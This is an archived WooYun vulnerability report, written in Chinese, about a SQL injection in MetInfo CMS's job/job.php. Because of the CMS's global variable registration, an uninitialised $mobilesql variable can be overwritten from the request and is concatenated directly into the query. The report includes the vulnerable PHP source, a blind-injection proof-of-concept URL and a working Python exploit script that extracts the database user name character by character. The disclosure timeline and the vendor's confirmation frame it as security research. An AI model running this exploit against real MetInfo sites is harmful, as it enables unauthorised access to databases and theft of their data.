乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2014-09-03: 细节已通知厂商并且等待厂商处理中 2014-09-08: 厂商已经确认,细节仅向厂商公开 2014-09-11: 细节向第三方安全合作伙伴开放 2014-11-02: 细节向核心白帽子及相关领域专家公开 2014-11-12: 细节向普通白帽子公开 2014-11-22: 细节向实习白帽子公开 2014-12-02: 细节向公众公开
sql injection :: wooyun通用型又更坚挺了 继续支持下
job/job.php
<?php# MetInfo Enterprise Content Management System # Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved. require_once '../include/common.inc.php';$classaccess= $db->get_one("SELECT * FROM $met_column WHERE module='6' and lang='$lang'");$metaccess=$classaccess[access];$class1=$classaccess[id];require_once '../include/head.php'; $guanlian=$class_list[$class1][releclass]; $class1_info=$class_list[$class1][releclass]?$class_list[$class_list[$class1][releclass]]:$class_list[$class1]; $class2_info=$class_list[$class1][releclass]?$class_list[$class1]:$class_list[$class2]; if(!class1_info){ okinfo('../',$lang_error); } $serch_sql=" where lang='$lang' {$mobilesql} and displaytype='1' and ((TO_DAYS(NOW())-TO_DAYS(`addtime`)< useful_life) OR useful_life=0) "; if($met_member_use==2)$serch_sql .= " and access<=$metinfo_member_type"; $order_sql="order by no_order desc,addtime desc"; $total_count = $db->counter($met_job, "$serch_sql", "*"); $totaltop_count = $db->counter($met_job, "$serch_sql and top_ok='1'", "*");
重点看下这一句:
$serch_sql=" where lang='$lang' {$mobilesql} and displaytype='1' and ((TO_DAYS(NOW())-TO_DAYS(`addtime`)< useful_life) OR useful_life=0) ";
找了半天没有看到$mobilesql的声明,根本没有初始值,后来发现原来metinfo会有类似全局变量注册的机制,导致这里可以通过get/post等覆盖$mobilesql由于这里是直接拼接起来的所以可以不用考虑gpc开关,直接是一个逻辑盲注,当然要考虑很多关键字过滤。
poc:
http://localhost/metinfo/job/job.php?mobilesql=and%20ord(mid(user(),1,1))=114
这样会返回正确页面刚好有时间就随手写了个利用,偷懒就写得比较简单exp:
import urllib2import redef inject(payload): url = 'http://localhost/metinfo/job/job.php?mobilesql=' print url+payload req = urllib2.Request(url+payload) response = urllib2.urlopen(req) content = response.read() return contentwordlist = '@abcdefghijklmnopqrst'def user(): result = "" for i in range(1,15): for num in range(len(wordlist)): keyword = ord(wordlist[num]) content = inject("and%20ord(mid(user(),{0},1))={1}".format(i,keyword)) match = re.search('list top',content) if match: print str(i)+'===========>'+chr(keyword) result = result+chr(keyword) break print 'current_user:===========>'+resultuser()
结果如图:
0.0
危害等级:高
漏洞Rank:15
确认时间:2014-09-08 09:35
暂无